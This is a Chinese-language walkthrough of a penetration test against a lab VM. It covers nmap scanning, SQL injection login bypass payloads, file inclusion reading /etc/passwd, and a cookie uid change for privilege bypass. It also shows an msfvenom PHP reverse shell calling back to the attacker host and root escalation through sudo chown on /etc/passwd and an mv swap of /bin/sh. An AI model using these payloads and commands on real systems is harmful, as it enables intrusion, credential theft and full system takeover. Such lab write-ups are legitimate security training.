信息收集阶段
存活主机探测:arp-scan -l
当然了,正常来说我们不应该使用arp进行探测,arp探测的是arp的缓存表,我们应该利用nmap进行探测!
nmap -sT --min-rate 10000 192.168.182.0/24
端口探测
nmap -sT --min-rate 10000 -p- 192.168.182.132
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:BC:05:DE (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds
只开放了80端口??
避免出现遗漏,做了UDP的端口扫描:
nmap -sU --top-ports 20 192.168.182.132
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)
版本服务信息探测
nmap -sT -sV -sC -O -p80 192.168.182.132
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
80端口上开启的是apache服务,然后存在PHP版本是5.2.4 目标靶机可能是一台ubuntu
漏洞脚本探测
nmap -sT --script=vuln -p80 192.168.182.132
渗透测试
既然只有一个端口的话,那就直接去访问一下把
Na...工厂产品服务器,然后下面提示我们必须登录来查看受限制的内容!
旁边有两个链接,分别是主页和登录的界面!
首先在这里我便尝试了弱口令进行登录,发现登录不成功!
有提示信息!给到了系统管理员的邮箱地址!感觉前面的名称就是系统管理员的名称吧?不妨再试试他的用户名加上弱口令?无果!
直接上bp抓包进行测试:
突然发现了url地址上面的参数!测一波文件包含!
可以文件包含,但是读不到/etc/passwd
回到sql注入上把,首先测试了user_name上并没有sql注入!password呢?
出现了报错!存在sql注入了!
直接上sqlmap吧:
一键化:
python sqlmap.py -r 1.txt --dbs -dump -batch
同时还发现了几个路径!
先看看这几个文件是否能够访问到吧:
显示内容被限制了,应该是我们登陆进去才可以访问!这里在访问messageboard.php的时候,通过文件包含访问到了如下的信息:
最下面还存在一个提交的地方:
不知道能不能上传文件!尝试一下!
能写,但是并没有被解析!其他的页面都是content restricted!
还是尝试进行登录!本来上面登录错误的时候我们就看到了system administrator!想用这个账号进行登录的,但是没登陆成功!(后面有测试了下这个system administrator账号 可以登录 但是没有上传的权限!)尝试其他的账号 这里利用第一个账号便成功登陆进来了!
可以看到有很多的链接!一眼看上去就是去看看upload是否能够上传文件!
看看能不能上传!
home目录还不让这个用户上传~
看看别的东西,在目录上面发现了整个公司员工的个人信息:
这些个人信息或许在后面的渗透过程中,会起到作用,但是我还是想上传,尝试下其他的用户能不能上传吧先!
发现第二个用户便可以上传文件,有权限了!问题又来了 文件上传之后的路径没有~
回去看看信息收集的路径吧,除了icons目录下面存在东西之外其他的都看不到!发现标题说的是家目录上传!
http://192.168.182.132/~username/
找到了文件上传的路径,但是他执行不了~ 第一次遇见执行不了的文件~
前面上传的时候可以自动提取压缩包里面的文件,构造压缩包:
tar -zcvf info.tar.gz info.php
直接上传压缩包!
这里直接利用msfvenom生成反弹shell的木马,进行上传!
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php
之后尝试利用tar进行压缩!
本地起监听:之后访问这个shel1.php文件,但是发现执行就断开了。。。
不知道这是为啥!/usr/share/webshells下面也有反弹shell的脚本,尝试拿出来在试试:
现在重新进行打包上传!
本地起一个监听:
利用curl触发反弹shell:
curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php
成功拿到了shell!
提权
利用dpkg判断是否存在python!尝试建立一个交互性良好的shell环境!
dpkg -l | grep python
存在python!
python -c "import pty;pty.spawn('/bin/bash')"
尝试看一下当前用户可以执行哪些特权:
发现存在四个命令,在使用的时候,可以以root身份进行运行并且不需要密码!(chown chgrp tar mv!)
首先来了解一下chown!这里我google了chown提权!这个命令确实能够实现提权!!!
chown命令
chown是linux环境下用于设置文件所有者和文件关联组的命令,当以root权限运行chown的时候,有多种
可能性可以实现提权!
示例
用户可以通过sudo运行chown,且没有任何的参数!
运行下面的命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权:遮盖题目为例题进行演示:
#首先我们通过sudo -l 查看当前用户的权限,发现该用户能够以root身份执行chown 并且不需要密码
#当前用户是www-data
sudo chown www-data /etc/passwd
之后我们随便找一个密码(superman),利用openssl对其进行加密:
openssl passwd superman
$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0
然后在/etc/passwd文件中添加一个具有root权限的新用户(比如说是root2),并使用上面生成的加密密码!
echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd
查看是否存在追加成功!
追加成功,尝试使用root2的身份登录:
su root2
提权成功!参考链接:Linux提权系列 - chown - 掘金
【补充】
看了红队笔记的视频后,发现自己遗漏了很多的东西,虽然这个靶场打通了~
sql注入突破
完全没必要上sqlmap,而且在练习的过程中,尽量不要使用大型的一键化的工具!
既然我们知道了存在sql注入,那么就可以使用万能账号和万能密码进行登录:
因为sql注入的点在密码字段所以用户名任意
密码是' or 1=1--
直接登陆成功!用户是:
alamo!!!
然后就是文件包含,因为上面我也知道存在文件包含,但是一直没读到什么有价值的东西,突破点错了:
display file:显示文件! 查看源码:
发现确实下面都是文件!!!尝试修改为/etc/passwd
然后再次点击display file,可以看到参数是text_file_name,之后我们就可以直接将这个参数写在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd
成功读取到/etc/passwd文件 ,发现了很多的用户信息!读取shadow文件不成功!之后便是到了文件上传的地方,一开始使用alamo这个账号是没有上传的权限,就是根据这里的passwd文件中的各个用户信息!我们尝试换一个账号进行登录:
select * from accounts where username='' and password=''
既然我们已经知道了sql的查询语句,因此我们尝试用户名就是xxx,随便写,后面的password给一个' or username='etenenbaum'--
select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '
成功登陆上来!之后我们发现利用upload.php文件进行上传。后面交给transfer.php文件进行处理,那么我们便可以通过文件包含的形式来读取transfer.php文件的源码!
知道了他是利用tar进行文件的解压,那么我们便可以给他上传一个利用tar压缩的压缩包(里面就是反弹shell的文件 !)
之后还利用到了locate查找文件!(查找符合条件的文件,他会去保存文件和目录名称的数据库内,查找符合文档样式的文件)
还有一个点就是越权!利用bp抓到的数据包在cookie字段存在uid=1,这里修改uid=2 就可以实现越权!
提权
然后就是提权的过程,跟我的方法也是不一样,用到了mv!mv 文件1 文件2 这种方式可以将文件1 重命名为文件2
那么他就是利用mv /bin/su /bin/tar 因为tar执行的时候是以root身份执行的并且是不需要密码的,所以说将su重命名为了 tar 执行tar 实际上执行的是su
首先将tar备份一下!然后我们将/bin/sh 重命名为/bin/tar !利用sudo tar 执行tar!实际执行的是/bin/sh
也可以是/bin/su 重命名为/bin/tar!(sudo tar)
直接输入su 就是切换到root用户,然而执行这个命令,又不需要root的密码,因此就成功的实现了提权操作!